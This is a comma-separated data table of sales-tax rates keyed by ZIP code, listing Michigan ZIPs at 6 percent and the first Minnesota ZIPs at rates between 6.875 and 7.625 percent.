US-MI-48871,US,MI,48871,6,,,, US-MI-48872,US,MI,48872,6,,,, US-MI-48873,US,MI,48873,6,,,, US-MI-48874,US,MI,48874,6,,,, US-MI-48875,US,MI,48875,6,,,, US-MI-48876,US,MI,48876,6,,,, US-MI-48877,US,MI,48877,6,,,, US-MI-48878,US,MI,48878,6,,,, US-MI-48879,US,MI,48879,6,,,, US-MI-48880,US,MI,48880,6,,,, US-MI-48881,US,MI,48881,6,,,, US-MI-48882,US,MI,48882,6,,,, US-MI-48883,US,MI,48883,6,,,, US-MI-48884,US,MI,48884,6,,,, US-MI-48885,US,MI,48885,6,,,, US-MI-48886,US,MI,48886,6,,,, US-MI-48887,US,MI,48887,6,,,, US-MI-48888,US,MI,48888,6,,,, US-MI-48889,US,MI,48889,6,,,, US-MI-48890,US,MI,48890,6,,,, US-MI-48891,US,MI,48891,6,,,, US-MI-48892,US,MI,48892,6,,,, US-MI-48893,US,MI,48893,6,,,, US-MI-48894,US,MI,48894,6,,,, US-MI-48895,US,MI,48895,6,,,, US-MI-48896,US,MI,48896,6,,,, US-MI-48897,US,MI,48897,6,,,, US-MI-48901,US,MI,48901,6,,,, US-MI-48906,US,MI,48906,6,,,, US-MI-48908,US,MI,48908,6,,,, US-MI-48909,US,MI,48909,6,,,, US-MI-48910,US,MI,48910,6,,,, US-MI-48911,US,MI,48911,6,,,, US-MI-48912,US,MI,48912,6,,,, US-MI-48913,US,MI,48913,6,,,, US-MI-48915,US,MI,48915,6,,,, US-MI-48916,US,MI,48916,6,,,, US-MI-48917,US,MI,48917,6,,,, US-MI-48918,US,MI,48918,6,,,, US-MI-48919,US,MI,48919,6,,,, US-MI-48922,US,MI,48922,6,,,, US-MI-48924,US,MI,48924,6,,,, US-MI-48929,US,MI,48929,6,,,, US-MI-48930,US,MI,48930,6,,,, US-MI-48933,US,MI,48933,6,,,, US-MI-48937,US,MI,48937,6,,,, US-MI-48951,US,MI,48951,6,,,, US-MI-48956,US,MI,48956,6,,,, US-MI-48980,US,MI,48980,6,,,, US-MI-49001,US,MI,49001,6,,,, US-MI-49002,US,MI,49002,6,,,, US-MI-49003,US,MI,49003,6,,,, US-MI-49004,US,MI,49004,6,,,, US-MI-49005,US,MI,49005,6,,,, US-MI-49006,US,MI,49006,6,,,, US-MI-49007,US,MI,49007,6,,,, US-MI-49008,US,MI,49008,6,,,, US-MI-49009,US,MI,49009,6,,,, US-MI-49010,US,MI,49010,6,,,, US-MI-49011,US,MI,49011,6,,,, US-MI-49012,US,MI,49012,6,,,, US-MI-49013,US,MI,49013,6,,,, US-MI-49014,US,MI,49014,6,,,, US-MI-49015,US,MI,49015,6,,,, US-MI-49016,US,MI,49016,6,,,, US-MI-49017,US,MI,49017,6,,,, US-MI-49018,US,MI,49018,6,,,, US-MI-49019,US,MI,49019,6,,,, US-MI-49020,US,MI,49020,6,,,, US-MI-49021,US,MI,49021,6,,,, US-MI-49022,US,MI,49022,6,,,, US-MI-49023,US,MI,49023,6,,,, US-MI-49024,US,MI,49024,6,,,, US-MI-49026,US,MI,49026,6,,,, US-MI-49027,US,MI,49027,6,,,, US-MI-49028,US,MI,49028,6,,,, US-MI-49029,US,MI,49029,6,,,, US-MI-49030,US,MI,49030,6,,,, US-MI-49031,US,MI,49031,6,,,, US-MI-49032,US,MI,49032,6,,,, US-MI-49033,US,MI,49033,6,,,, US-MI-49034,US,MI,49034,6,,,, US-MI-49035,US,MI,49035,6,,,, US-MI-49036,US,MI,49036,6,,,, US-MI-49037,US,MI,49037,6,,,, US-MI-49038,US,MI,49038,6,,,, US-MI-49039,US,MI,49039,6,,,, US-MI-49040,US,MI,49040,6,,,, US-MI-49041,US,MI,49041,6,,,, US-MI-49042,US,MI,49042,6,,,, US-MI-49043,US,MI,49043,6,,,, US-MI-49045,US,MI,49045,6,,,, US-MI-49046,US,MI,49046,6,,,, US-MI-49047,US,MI,49047,6,,,, US-MI-49048,US,MI,49048,6,,,, US-MI-49050,US,MI,49050,6,,,, US-MI-49051,US,MI,49051,6,,,, US-MI-49052,US,MI,49052,6,,,, US-MI-49053,US,MI,49053,6,,,, US-MI-49055,US,MI,49055,6,,,, US-MI-49056,US,MI,49056,6,,,, US-MI-49057,US,MI,49057,6,,,, US-MI-49058,US,MI,49058,6,,,, US-MI-49060,US,MI,49060,6,,,, US-MI-49061,US,MI,49061,6,,,, US-MI-49062,US,MI,49062,6,,,, US-MI-49063,US,MI,49063,6,,,, US-MI-49064,US,MI,49064,6,,,, US-MI-49065,US,MI,49065,6,,,, US-MI-49066,US,MI,49066,6,,,, US-MI-49067,US,MI,49067,6,,,, US-MI-49068,US,MI,49068,6,,,, US-MI-49070,US,MI,49070,6,,,, US-MI-49071,US,MI,49071,6,,,, US-MI-49072,US,MI,49072,6,,,, US-MI-49073,US,MI,49073,6,,,, US-MI-49074,US,MI,49074,6,,,, US-MI-49075,US,MI,49075,6,,,, US-MI-49076,US,MI,49076,6,,,, US-MI-49077,US,MI,49077,6,,,, US-MI-49078,US,MI,49078,6,,,, US-MI-49079,US,MI,49079,6,,,, US-MI-49080,US,MI,49080,6,,,, US-MI-49081,US,MI,49081,6,,,, US-MI-49082,US,MI,49082,6,,,, US-MI-49083,US,MI,49083,6,,,, US-MI-49084,US,MI,49084,6,,,, US-MI-49085,US,MI,49085,6,,,, US-MI-49087,US,MI,49087,6,,,, US-MI-49088,US,MI,49088,6,,,, US-MI-49089,US,MI,49089,6,,,, US-MI-49090,US,MI,49090,6,,,, US-MI-49091,US,MI,49091,6,,,, US-MI-49092,US,MI,49092,6,,,, US-MI-49093,US,MI,49093,6,,,, US-MI-49094,US,MI,49094,6,,,, US-MI-49095,US,MI,49095,6,,,, US-MI-49096,US,MI,49096,6,,,, US-MI-49097,US,MI,49097,6,,,, US-MI-49098,US,MI,49098,6,,,, US-MI-49099,US,MI,49099,6,,,, US-MI-49101,US,MI,49101,6,,,, US-MI-49102,US,MI,49102,6,,,, US-MI-49103,US,MI,49103,6,,,, US-MI-49104,US,MI,49104,6,,,, US-MI-49106,US,MI,49106,6,,,, US-MI-49107,US,MI,49107,6,,,, US-MI-49111,US,MI,49111,6,,,, US-MI-49112,US,MI,49112,6,,,, US-MI-49113,US,MI,49113,6,,,, US-MI-49115,US,MI,49115,6,,,, US-MI-49116,US,MI,49116,6,,,, US-MI-49117,US,MI,49117,6,,,, US-MI-49119,US,MI,49119,6,,,, US-MI-49120,US,MI,49120,6,,,, US-MI-49125,US,MI,49125,6,,,, US-MI-49126,US,MI,49126,6,,,, US-MI-49127,US,MI,49127,6,,,, US-MI-49128,US,MI,49128,6,,,, US-MI-49129,US,MI,49129,6,,,, US-MI-49130,US,MI,49130,6,,,, US-MI-49201,US,MI,49201,6,,,, US-MI-49202,US,MI,49202,6,,,, US-MI-49203,US,MI,49203,6,,,, US-MI-49204,US,MI,49204,6,,,, US-MI-49220,US,MI,49220,6,,,, US-MI-49221,US,MI,49221,6,,,, US-MI-49224,US,MI,49224,6,,,, US-MI-49227,US,MI,49227,6,,,, US-MI-49228,US,MI,49228,6,,,, US-MI-49229,US,MI,49229,6,,,, US-MI-49230,US,MI,49230,6,,,, US-MI-49232,US,MI,49232,6,,,, US-MI-49233,US,MI,49233,6,,,, US-MI-49234,US,MI,49234,6,,,, US-MI-49235,US,MI,49235,6,,,, US-MI-49236,US,MI,49236,6,,,, US-MI-49237,US,MI,49237,6,,,, US-MI-49238,US,MI,49238,6,,,, US-MI-49239,US,MI,49239,6,,,, US-MI-49240,US,MI,49240,6,,,, US-MI-49241,US,MI,49241,6,,,, US-MI-49242,US,MI,49242,6,,,, US-MI-49245,US,MI,49245,6,,,, US-MI-49246,US,MI,49246,6,,,, US-MI-49247,US,MI,49247,6,,,, US-MI-49248,US,MI,49248,6,,,, US-MI-49249,US,MI,49249,6,,,, US-MI-49250,US,MI,49250,6,,,, US-MI-49251,US,MI,49251,6,,,, US-MI-49252,US,MI,49252,6,,,, US-MI-49253,US,MI,49253,6,,,, US-MI-49254,US,MI,49254,6,,,, US-MI-49255,US,MI,49255,6,,,, US-MI-49256,US,MI,49256,6,,,, US-MI-49257,US,MI,49257,6,,,, US-MI-49258,US,MI,49258,6,,,, US-MI-49259,US,MI,49259,6,,,, US-MI-49261,US,MI,49261,6,,,, US-MI-49262,US,MI,49262,6,,,, US-MI-49263,US,MI,49263,6,,,, US-MI-49264,US,MI,49264,6,,,, US-MI-49265,US,MI,49265,6,,,, US-MI-49266,US,MI,49266,6,,,, US-MI-49267,US,MI,49267,6,,,, US-MI-49268,US,MI,49268,6,,,, US-MI-49269,US,MI,49269,6,,,, US-MI-49270,US,MI,49270,6,,,, US-MI-49271,US,MI,49271,6,,,, US-MI-49272,US,MI,49272,6,,,, US-MI-49274,US,MI,49274,6,,,, US-MI-49276,US,MI,49276,6,,,, US-MI-49277,US,MI,49277,6,,,, US-MI-49279,US,MI,49279,6,,,, US-MI-49281,US,MI,49281,6,,,, US-MI-49282,US,MI,49282,6,,,, US-MI-49283,US,MI,49283,6,,,, US-MI-49284,US,MI,49284,6,,,, US-MI-49285,US,MI,49285,6,,,, US-MI-49286,US,MI,49286,6,,,, US-MI-49287,US,MI,49287,6,,,, US-MI-49288,US,MI,49288,6,,,, US-MI-49289,US,MI,49289,6,,,, US-MI-49301,US,MI,49301,6,,,, US-MI-49302,US,MI,49302,6,,,, US-MI-49303,US,MI,49303,6,,,, US-MI-49304,US,MI,49304,6,,,, US-MI-49305,US,MI,49305,6,,,, US-MI-49306,US,MI,49306,6,,,, US-MI-49307,US,MI,49307,6,,,, US-MI-49309,US,MI,49309,6,,,, US-MI-49310,US,MI,49310,6,,,, US-MI-49311,US,MI,49311,6,,,, US-MI-49312,US,MI,49312,6,,,, US-MI-49314,US,MI,49314,6,,,, US-MI-49315,US,MI,49315,6,,,, US-MI-49316,US,MI,49316,6,,,, US-MI-49317,US,MI,49317,6,,,, US-MI-49318,US,MI,49318,6,,,, US-MI-49319,US,MI,49319,6,,,, US-MI-49320,US,MI,49320,6,,,, US-MI-49321,US,MI,49321,6,,,, US-MI-49322,US,MI,49322,6,,,, US-MI-49323,US,MI,49323,6,,,, US-MI-49325,US,MI,49325,6,,,, US-MI-49326,US,MI,49326,6,,,, US-MI-49327,US,MI,49327,6,,,, US-MI-49328,US,MI,49328,6,,,, US-MI-49329,US,MI,49329,6,,,, US-MI-49330,US,MI,49330,6,,,, US-MI-49331,US,MI,49331,6,,,, US-MI-49332,US,MI,49332,6,,,, US-MI-49333,US,MI,49333,6,,,, US-MI-49335,US,MI,49335,6,,,, US-MI-49336,US,MI,49336,6,,,, US-MI-49337,US,MI,49337,6,,,, US-MI-49338,US,MI,49338,6,,,, US-MI-49339,US,MI,49339,6,,,, US-MI-49340,US,MI,49340,6,,,, US-MI-49341,US,MI,49341,6,,,, US-MI-49342,US,MI,49342,6,,,, US-MI-49343,US,MI,49343,6,,,, US-MI-49344,US,MI,49344,6,,,, US-MI-49345,US,MI,49345,6,,,, US-MI-49346,US,MI,49346,6,,,, US-MI-49347,US,MI,49347,6,,,, US-MI-49348,US,MI,49348,6,,,, US-MI-49349,US,MI,49349,6,,,, US-MI-49351,US,MI,49351,6,,,, US-MI-49355,US,MI,49355,6,,,, US-MI-49356,US,MI,49356,6,,,, US-MI-49357,US,MI,49357,6,,,, US-MI-49401,US,MI,49401,6,,,, US-MI-49402,US,MI,49402,6,,,, US-MI-49403,US,MI,49403,6,,,, US-MI-49404,US,MI,49404,6,,,, US-MI-49405,US,MI,49405,6,,,, US-MI-49406,US,MI,49406,6,,,, US-MI-49408,US,MI,49408,6,,,, US-MI-49409,US,MI,49409,6,,,, US-MI-49410,US,MI,49410,6,,,, US-MI-49411,US,MI,49411,6,,,, US-MI-49412,US,MI,49412,6,,,, US-MI-49413,US,MI,49413,6,,,, US-MI-49415,US,MI,49415,6,,,, US-MI-49416,US,MI,49416,6,,,, US-MI-49417,US,MI,49417,6,,,, US-MI-49418,US,MI,49418,6,,,, US-MI-49419,US,MI,49419,6,,,, US-MI-49420,US,MI,49420,6,,,, US-MI-49421,US,MI,49421,6,,,, US-MI-49422,US,MI,49422,6,,,, US-MI-49423,US,MI,49423,6,,,, US-MI-49424,US,MI,49424,6,,,, US-MI-49425,US,MI,49425,6,,,, US-MI-49426,US,MI,49426,6,,,, US-MI-49427,US,MI,49427,6,,,, US-MI-49428,US,MI,49428,6,,,, US-MI-49429,US,MI,49429,6,,,, US-MI-49430,US,MI,49430,6,,,, US-MI-49431,US,MI,49431,6,,,, US-MI-49434,US,MI,49434,6,,,, US-MI-49435,US,MI,49435,6,,,, US-MI-49436,US,MI,49436,6,,,, US-MI-49437,US,MI,49437,6,,,, US-MI-49440,US,MI,49440,6,,,, US-MI-49441,US,MI,49441,6,,,, US-MI-49442,US,MI,49442,6,,,, US-MI-49443,US,MI,49443,6,,,, US-MI-49444,US,MI,49444,6,,,, US-MI-49445,US,MI,49445,6,,,, US-MI-49446,US,MI,49446,6,,,, US-MI-49448,US,MI,49448,6,,,, US-MI-49449,US,MI,49449,6,,,, US-MI-49450,US,MI,49450,6,,,, US-MI-49451,US,MI,49451,6,,,, US-MI-49452,US,MI,49452,6,,,, US-MI-49453,US,MI,49453,6,,,, US-MI-49454,US,MI,49454,6,,,, US-MI-49455,US,MI,49455,6,,,, US-MI-49456,US,MI,49456,6,,,, US-MI-49457,US,MI,49457,6,,,, US-MI-49458,US,MI,49458,6,,,, US-MI-49459,US,MI,49459,6,,,, US-MI-49460,US,MI,49460,6,,,, US-MI-49461,US,MI,49461,6,,,, US-MI-49463,US,MI,49463,6,,,, US-MI-49464,US,MI,49464,6,,,, US-MI-49468,US,MI,49468,6,,,, US-MI-49501,US,MI,49501,6,,,, US-MI-49502,US,MI,49502,6,,,, US-MI-49503,US,MI,49503,6,,,, US-MI-49504,US,MI,49504,6,,,, US-MI-49505,US,MI,49505,6,,,, US-MI-49506,US,MI,49506,6,,,, US-MI-49507,US,MI,49507,6,,,, US-MI-49508,US,MI,49508,6,,,, US-MI-49509,US,MI,49509,6,,,, US-MI-49510,US,MI,49510,6,,,, US-MI-49512,US,MI,49512,6,,,, US-MI-49514,US,MI,49514,6,,,, US-MI-49515,US,MI,49515,6,,,, US-MI-49516,US,MI,49516,6,,,, US-MI-49518,US,MI,49518,6,,,, US-MI-49519,US,MI,49519,6,,,, US-MI-49523,US,MI,49523,6,,,, US-MI-49525,US,MI,49525,6,,,, US-MI-49528,US,MI,49528,6,,,, US-MI-49530,US,MI,49530,6,,,, US-MI-49534,US,MI,49534,6,,,, US-MI-49544,US,MI,49544,6,,,, US-MI-49546,US,MI,49546,6,,,, US-MI-49548,US,MI,49548,6,,,, US-MI-49555,US,MI,49555,6,,,, US-MI-49560,US,MI,49560,6,,,, US-MI-49588,US,MI,49588,6,,,, US-MI-49599,US,MI,49599,6,,,, US-MI-49601,US,MI,49601,6,,,, US-MI-49610,US,MI,49610,6,,,, US-MI-49611,US,MI,49611,6,,,, US-MI-49612,US,MI,49612,6,,,, US-MI-49613,US,MI,49613,6,,,, US-MI-49614,US,MI,49614,6,,,, US-MI-49615,US,MI,49615,6,,,, US-MI-49616,US,MI,49616,6,,,, US-MI-49617,US,MI,49617,6,,,, US-MI-49618,US,MI,49618,6,,,, US-MI-49619,US,MI,49619,6,,,, US-MI-49620,US,MI,49620,6,,,, US-MI-49621,US,MI,49621,6,,,, US-MI-49622,US,MI,49622,6,,,, US-MI-49623,US,MI,49623,6,,,, US-MI-49625,US,MI,49625,6,,,, US-MI-49626,US,MI,49626,6,,,, US-MI-49627,US,MI,49627,6,,,, US-MI-49628,US,MI,49628,6,,,, US-MI-49629,US,MI,49629,6,,,, US-MI-49630,US,MI,49630,6,,,, US-MI-49631,US,MI,49631,6,,,, US-MI-49632,US,MI,49632,6,,,, US-MI-49633,US,MI,49633,6,,,, US-MI-49634,US,MI,49634,6,,,, US-MI-49635,US,MI,49635,6,,,, US-MI-49636,US,MI,49636,6,,,, US-MI-49637,US,MI,49637,6,,,, US-MI-49638,US,MI,49638,6,,,, US-MI-49639,US,MI,49639,6,,,, US-MI-49640,US,MI,49640,6,,,, US-MI-49642,US,MI,49642,6,,,, US-MI-49643,US,MI,49643,6,,,, US-MI-49644,US,MI,49644,6,,,, US-MI-49645,US,MI,49645,6,,,, US-MI-49646,US,MI,49646,6,,,, US-MI-49648,US,MI,49648,6,,,, US-MI-49649,US,MI,49649,6,,,, US-MI-49650,US,MI,49650,6,,,, US-MI-49651,US,MI,49651,6,,,, US-MI-49653,US,MI,49653,6,,,, US-MI-49654,US,MI,49654,6,,,, US-MI-49655,US,MI,49655,6,,,, US-MI-49656,US,MI,49656,6,,,, US-MI-49657,US,MI,49657,6,,,, US-MI-49659,US,MI,49659,6,,,, US-MI-49660,US,MI,49660,6,,,, US-MI-49663,US,MI,49663,6,,,, US-MI-49664,US,MI,49664,6,,,, US-MI-49665,US,MI,49665,6,,,, US-MI-49666,US,MI,49666,6,,,, US-MI-49667,US,MI,49667,6,,,, US-MI-49668,US,MI,49668,6,,,, US-MI-49670,US,MI,49670,6,,,, US-MI-49673,US,MI,49673,6,,,, US-MI-49674,US,MI,49674,6,,,, US-MI-49675,US,MI,49675,6,,,, US-MI-49676,US,MI,49676,6,,,, US-MI-49677,US,MI,49677,6,,,, US-MI-49679,US,MI,49679,6,,,, US-MI-49680,US,MI,49680,6,,,, US-MI-49682,US,MI,49682,6,,,, US-MI-49683,US,MI,49683,6,,,, US-MI-49684,US,MI,49684,6,,,, US-MI-49685,US,MI,49685,6,,,, US-MI-49686,US,MI,49686,6,,,, US-MI-49688,US,MI,49688,6,,,, US-MI-49689,US,MI,49689,6,,,, US-MI-49690,US,MI,49690,6,,,, US-MI-49696,US,MI,49696,6,,,, US-MI-49701,US,MI,49701,6,,,, US-MI-49705,US,MI,49705,6,,,, US-MI-49706,US,MI,49706,6,,,, US-MI-49707,US,MI,49707,6,,,, US-MI-49709,US,MI,49709,6,,,, US-MI-49710,US,MI,49710,6,,,, US-MI-49711,US,MI,49711,6,,,, US-MI-49712,US,MI,49712,6,,,, US-MI-49713,US,MI,49713,6,,,, US-MI-49715,US,MI,49715,6,,,, US-MI-49716,US,MI,49716,6,,,, US-MI-49717,US,MI,49717,6,,,, US-MI-49718,US,MI,49718,6,,,, US-MI-49719,US,MI,49719,6,,,, US-MI-49720,US,MI,49720,6,,,, US-MI-49721,US,MI,49721,6,,,, US-MI-49722,US,MI,49722,6,,,, US-MI-49723,US,MI,49723,6,,,, US-MI-49724,US,MI,49724,6,,,, US-MI-49725,US,MI,49725,6,,,, US-MI-49726,US,MI,49726,6,,,, US-MI-49727,US,MI,49727,6,,,, US-MI-49728,US,MI,49728,6,,,, US-MI-49729,US,MI,49729,6,,,, US-MI-49730,US,MI,49730,6,,,, US-MI-49733,US,MI,49733,6,,,, US-MI-49734,US,MI,49734,6,,,, US-MI-49735,US,MI,49735,6,,,, US-MI-49736,US,MI,49736,6,,,, US-MI-49737,US,MI,49737,6,,,, US-MI-49738,US,MI,49738,6,,,, US-MI-49739,US,MI,49739,6,,,, US-MI-49740,US,MI,49740,6,,,, US-MI-49743,US,MI,49743,6,,,, US-MI-49744,US,MI,49744,6,,,, US-MI-49745,US,MI,49745,6,,,, US-MI-49746,US,MI,49746,6,,,, US-MI-49747,US,MI,49747,6,,,, US-MI-49748,US,MI,49748,6,,,, US-MI-49749,US,MI,49749,6,,,, US-MI-49751,US,MI,49751,6,,,, US-MI-49752,US,MI,49752,6,,,, US-MI-49753,US,MI,49753,6,,,, US-MI-49755,US,MI,49755,6,,,, US-MI-49756,US,MI,49756,6,,,, US-MI-49757,US,MI,49757,6,,,, US-MI-49759,US,MI,49759,6,,,, US-MI-49760,US,MI,49760,6,,,, US-MI-49761,US,MI,49761,6,,,, US-MI-49762,US,MI,49762,6,,,, US-MI-49764,US,MI,49764,6,,,, US-MI-49765,US,MI,49765,6,,,, US-MI-49766,US,MI,49766,6,,,, US-MI-49768,US,MI,49768,6,,,, US-MI-49769,US,MI,49769,6,,,, US-MI-49770,US,MI,49770,6,,,, US-MI-49774,US,MI,49774,6,,,, US-MI-49775,US,MI,49775,6,,,, US-MI-49776,US,MI,49776,6,,,, US-MI-49777,US,MI,49777,6,,,, US-MI-49779,US,MI,49779,6,,,, US-MI-49780,US,MI,49780,6,,,, US-MI-49781,US,MI,49781,6,,,, US-MI-49782,US,MI,49782,6,,,, US-MI-49783,US,MI,49783,6,,,, US-MI-49784,US,MI,49784,6,,,, US-MI-49785,US,MI,49785,6,,,, US-MI-49786,US,MI,49786,6,,,, US-MI-49788,US,MI,49788,6,,,, US-MI-49791,US,MI,49791,6,,,, US-MI-49792,US,MI,49792,6,,,, US-MI-49793,US,MI,49793,6,,,, US-MI-49795,US,MI,49795,6,,,, US-MI-49796,US,MI,49796,6,,,, US-MI-49797,US,MI,49797,6,,,, US-MI-49799,US,MI,49799,6,,,, US-MI-49801,US,MI,49801,6,,,, US-MI-49802,US,MI,49802,6,,,, US-MI-49805,US,MI,49805,6,,,, US-MI-49806,US,MI,49806,6,,,, US-MI-49807,US,MI,49807,6,,,, US-MI-49808,US,MI,49808,6,,,, US-MI-49812,US,MI,49812,6,,,, US-MI-49814,US,MI,49814,6,,,, US-MI-49815,US,MI,49815,6,,,, US-MI-49816,US,MI,49816,6,,,, US-MI-49817,US,MI,49817,6,,,, US-MI-49818,US,MI,49818,6,,,, US-MI-49819,US,MI,49819,6,,,, US-MI-49820,US,MI,49820,6,,,, US-MI-49821,US,MI,49821,6,,,, US-MI-49822,US,MI,49822,6,,,, US-MI-49825,US,MI,49825,6,,,, US-MI-49826,US,MI,49826,6,,,, US-MI-49827,US,MI,49827,6,,,, US-MI-49829,US,MI,49829,6,,,, US-MI-49831,US,MI,49831,6,,,, US-MI-49833,US,MI,49833,6,,,, US-MI-49834,US,MI,49834,6,,,, US-MI-49835,US,MI,49835,6,,,, US-MI-49836,US,MI,49836,6,,,, US-MI-49837,US,MI,49837,6,,,, US-MI-49838,US,MI,49838,6,,,, US-MI-49839,US,MI,49839,6,,,, US-MI-49840,US,MI,49840,6,,,, US-MI-49841,US,MI,49841,6,,,, US-MI-49845,US,MI,49845,6,,,, US-MI-49847,US,MI,49847,6,,,, US-MI-49848,US,MI,49848,6,,,, US-MI-49849,US,MI,49849,6,,,, US-MI-49852,US,MI,49852,6,,,, US-MI-49853,US,MI,49853,6,,,, US-MI-49854,US,MI,49854,6,,,, US-MI-49855,US,MI,49855,6,,,, US-MI-49858,US,MI,49858,6,,,, US-MI-49861,US,MI,49861,6,,,, US-MI-49862,US,MI,49862,6,,,, US-MI-49863,US,MI,49863,6,,,, US-MI-49864,US,MI,49864,6,,,, US-MI-49865,US,MI,49865,6,,,, US-MI-49866,US,MI,49866,6,,,, US-MI-49868,US,MI,49868,6,,,, US-MI-49870,US,MI,49870,6,,,, US-MI-49871,US,MI,49871,6,,,, US-MI-49872,US,MI,49872,6,,,, US-MI-49873,US,MI,49873,6,,,, US-MI-49874,US,MI,49874,6,,,, US-MI-49876,US,MI,49876,6,,,, US-MI-49877,US,MI,49877,6,,,, US-MI-49878,US,MI,49878,6,,,, US-MI-49879,US,MI,49879,6,,,, US-MI-49880,US,MI,49880,6,,,, US-MI-49881,US,MI,49881,6,,,, US-MI-49883,US,MI,49883,6,,,, US-MI-49884,US,MI,49884,6,,,, US-MI-49885,US,MI,49885,6,,,, US-MI-49886,US,MI,49886,6,,,, US-MI-49887,US,MI,49887,6,,,, US-MI-49891,US,MI,49891,6,,,, US-MI-49892,US,MI,49892,6,,,, US-MI-49893,US,MI,49893,6,,,, US-MI-49894,US,MI,49894,6,,,, US-MI-49895,US,MI,49895,6,,,, US-MI-49896,US,MI,49896,6,,,, US-MI-49901,US,MI,49901,6,,,, US-MI-49902,US,MI,49902,6,,,, US-MI-49903,US,MI,49903,6,,,, US-MI-49905,US,MI,49905,6,,,, US-MI-49908,US,MI,49908,6,,,, US-MI-49910,US,MI,49910,6,,,, US-MI-49911,US,MI,49911,6,,,, US-MI-49912,US,MI,49912,6,,,, US-MI-49913,US,MI,49913,6,,,, US-MI-49915,US,MI,49915,6,,,, US-MI-49916,US,MI,49916,6,,,, US-MI-49917,US,MI,49917,6,,,, US-MI-49918,US,MI,49918,6,,,, US-MI-49919,US,MI,49919,6,,,, US-MI-49920,US,MI,49920,6,,,, US-MI-49921,US,MI,49921,6,,,, US-MI-49922,US,MI,49922,6,,,, US-MI-49925,US,MI,49925,6,,,, US-MI-49927,US,MI,49927,6,,,, US-MI-49929,US,MI,49929,6,,,, US-MI-49930,US,MI,49930,6,,,, US-MI-49931,US,MI,49931,6,,,, US-MI-49934,US,MI,49934,6,,,, US-MI-49935,US,MI,49935,6,,,, US-MI-49938,US,MI,49938,6,,,, US-MI-49942,US,MI,49942,6,,,, US-MI-49945,US,MI,49945,6,,,, US-MI-49946,US,MI,49946,6,,,, US-MI-49947,US,MI,49947,6,,,, US-MI-49948,US,MI,49948,6,,,, US-MI-49950,US,MI,49950,6,,,, US-MI-49952,US,MI,49952,6,,,, US-MI-49953,US,MI,49953,6,,,, US-MI-49955,US,MI,49955,6,,,, US-MI-49958,US,MI,49958,6,,,, US-MI-49959,US,MI,49959,6,,,, US-MI-49960,US,MI,49960,6,,,, US-MI-49961,US,MI,49961,6,,,, US-MI-49962,US,MI,49962,6,,,, US-MI-49963,US,MI,49963,6,,,, US-MI-49964,US,MI,49964,6,,,, US-MI-49965,US,MI,49965,6,,,, US-MI-49967,US,MI,49967,6,,,, US-MI-49968,US,MI,49968,6,,,, US-MI-49969,US,MI,49969,6,,,, US-MI-49970,US,MI,49970,6,,,, US-MI-49971,US,MI,49971,6,,,, US-MN-55001,US,MN,55001,7.125,,,, US-MN-55002,US,MN,55002,6.875,,,, US-MN-55003,US,MN,55003,7.125,,,, US-MN-55005,US,MN,55005,7.125,,,, US-MN-55006,US,MN,55006,6.875,,,, US-MN-55007,US,MN,55007,6.875,,,, US-MN-55008,US,MN,55008,6.875,,,, US-MN-55009,US,MN,55009,6.875,,,, US-MN-55010,US,MN,55010,6.875,,,, US-MN-55011,US,MN,55011,7.125,,,, US-MN-55012,US,MN,55012,6.875,,,, US-MN-55013,US,MN,55013,6.875,,,, US-MN-55014,US,MN,55014,7.125,,,, US-MN-55016,US,MN,55016,7.125,,,, US-MN-55017,US,MN,55017,6.875,,,, US-MN-55018,US,MN,55018,6.875,,,, US-MN-55019,US,MN,55019,6.875,,,, US-MN-55020,US,MN,55020,6.875,,,, US-MN-55021,US,MN,55021,6.875,,,, US-MN-55024,US,MN,55024,7.125,,,, US-MN-55025,US,MN,55025,7.125,,,, US-MN-55026,US,MN,55026,6.875,,,, US-MN-55027,US,MN,55027,6.875,,,, US-MN-55029,US,MN,55029,6.875,,,, US-MN-55030,US,MN,55030,6.875,,,, US-MN-55031,US,MN,55031,7.125,,,, US-MN-55032,US,MN,55032,6.875,,,, US-MN-55033,US,MN,55033,7.125,,,, US-MN-55036,US,MN,55036,6.875,,,, US-MN-55037,US,MN,55037,6.875,,,, US-MN-55038,US,MN,55038,7.125,,,, US-MN-55040,US,MN,55040,6.875,,,, US-MN-55041,US,MN,55041,6.875,,,, US-MN-55042,US,MN,55042,7.125,,,, US-MN-55043,US,MN,55043,7.125,,,, US-MN-55044,US,MN,55044,7.125,,,, US-MN-55045,US,MN,55045,6.875,,,, US-MN-55046,US,MN,55046,6.875,,,, US-MN-55047,US,MN,55047,7.125,,,, US-MN-55049,US,MN,55049,6.875,,,, US-MN-55051,US,MN,55051,6.875,,,, US-MN-55052,US,MN,55052,6.875,,,, US-MN-55053,US,MN,55053,6.875,,,, US-MN-55054,US,MN,55054,6.875,,,, US-MN-55055,US,MN,55055,7.125,,,, US-MN-55056,US,MN,55056,6.875,,,, US-MN-55057,US,MN,55057,6.875,,,, US-MN-55060,US,MN,55060,6.875,,,, US-MN-55063,US,MN,55063,6.875,,,, US-MN-55065,US,MN,55065,7.125,,,, US-MN-55066,US,MN,55066,6.875,,,, US-MN-55067,US,MN,55067,6.875,,,, US-MN-55068,US,MN,55068,7.125,,,, US-MN-55069,US,MN,55069,6.875,,,, US-MN-55070,US,MN,55070,7.125,,,, US-MN-55071,US,MN,55071,7.125,,,, US-MN-55072,US,MN,55072,6.875,,,, US-MN-55073,US,MN,55073,7.125,,,, US-MN-55074,US,MN,55074,6.875,,,, US-MN-55075,US,MN,55075,7.125,,,, US-MN-55076,US,MN,55076,7.125,,,, US-MN-55077,US,MN,55077,7.125,,,, US-MN-55078,US,MN,55078,6.875,,,, US-MN-55079,US,MN,55079,6.875,,,, US-MN-55080,US,MN,55080,6.875,,,, US-MN-55082,US,MN,55082,7.125,,,, US-MN-55083,US,MN,55083,7.125,,,, US-MN-55084,US,MN,55084,6.875,,,, US-MN-55085,US,MN,55085,7.125,,,, US-MN-55087,US,MN,55087,6.875,,,, US-MN-55088,US,MN,55088,6.875,,,, US-MN-55089,US,MN,55089,6.875,,,, US-MN-55090,US,MN,55090,7.125,,,, US-MN-55092,US,MN,55092,6.875,,,, US-MN-55101,US,MN,55101,7.625,,,, US-MN-55102,US,MN,55102,7.625,,,, US-MN-55103,US,MN,55103,7.625,,,, US-MN-55104,US,MN,55104,7.625,,,, US-MN-55105,US,MN,55105,7.625,,,, US-MN-55106,US,MN,55106,7.625,,,, US-MN-55107,US,MN,55107,7.625,,,, US-MN-55108,US,MN,55108,7.625,,,, US-MN-55109,US,MN,55109,7.125,,,, US-MN-55110,US,MN,55110,7.125,,,, US-MN-55111,US,MN,55111,7.275,,,, US-MN-55112,US,MN,55112,7.125,,,, US-MN-55113,US,MN,55113,7.125,,,, 